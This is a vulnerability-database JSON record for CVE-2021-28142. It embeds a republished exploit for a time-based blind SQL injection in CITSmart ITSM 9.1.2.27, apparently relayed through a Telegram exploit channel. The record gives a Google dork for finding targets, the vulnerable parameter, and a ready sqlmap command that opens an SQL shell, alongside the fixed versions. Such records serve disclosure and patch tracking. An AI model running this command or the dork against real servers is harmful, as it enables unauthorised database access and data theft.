{"uuid": "0ba61652-b824-435e-bf43-a67819db08e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28142", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/4930", "content": "Exploit Collector\nCITSmart ITSM 9.1.2.27 SQL Injection\n\nhttps://3.bp.blogspot.com/-m8d6k5PvpEU/WWlvYbY80xI/AAAAAAAAIOk/9YRDlN0af5krj_sxTfYJBUTX80Cs4dJKgCLcBGAs/s1600/h56.png \nCITSmart ITSM version 9.1.2.27 suffers from a remote time-based blind SQL injection vulnerability.\n\nMD5 | 3d24d2282ef6f774e3ec4558ad1409d1\n\nDownload\n# Exploit Title: CITSmart ITSM 9.1.2.27 - 'query' Time-based Blind SQL Injection (Authenticated)\n# Google Dork: \"citsmart.local\"\n# Date: 11/03/2021\n# Exploit Author: skysbsb\n# Vendor Homepage: https://docs.citsmart.com/pt-br/citsmart-platform-9/get-started/about-citsmart/release-notes.html\n# Version: < 9.1.2.28\n# CVE : CVE-2021-28142\n\nTo exploit this flaw it is necessary to be authenticated.\n\nURL vulnerable:\nhttps://vulnsite.com/citsmart/pages/smartPortal/pages/autoCompletePortal/autoCompletePortal.load?idPortfolio=&idServico=&query=fale\nParam vulnerable: query\n\nSqlmap usage:  sqlmap -u \"\nhttps://vulnsite.com/citsmart/pages/smartPortal/pages/autoCompletePortal/autoCompletePortal.load?idPortfolio=&idServico=&query=fale\" --cookie 'JSESSIONID=xxx' --time-sec 1 --prefix \"')\" --suffix \"AND ('abc%'='abc\" --sql-shell\n\nAffected versions: < 9.1.2.28\nFixed versions: >= 9.1.2.28\n\nVendor has acknowledge this vulnerability at ticket 11216 (https://docs.citsmart.com/pt-br/citsmart-platform-9/get-started/about-citsmart/release-notes.html)\n\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-08T10:00:06.284011Z"}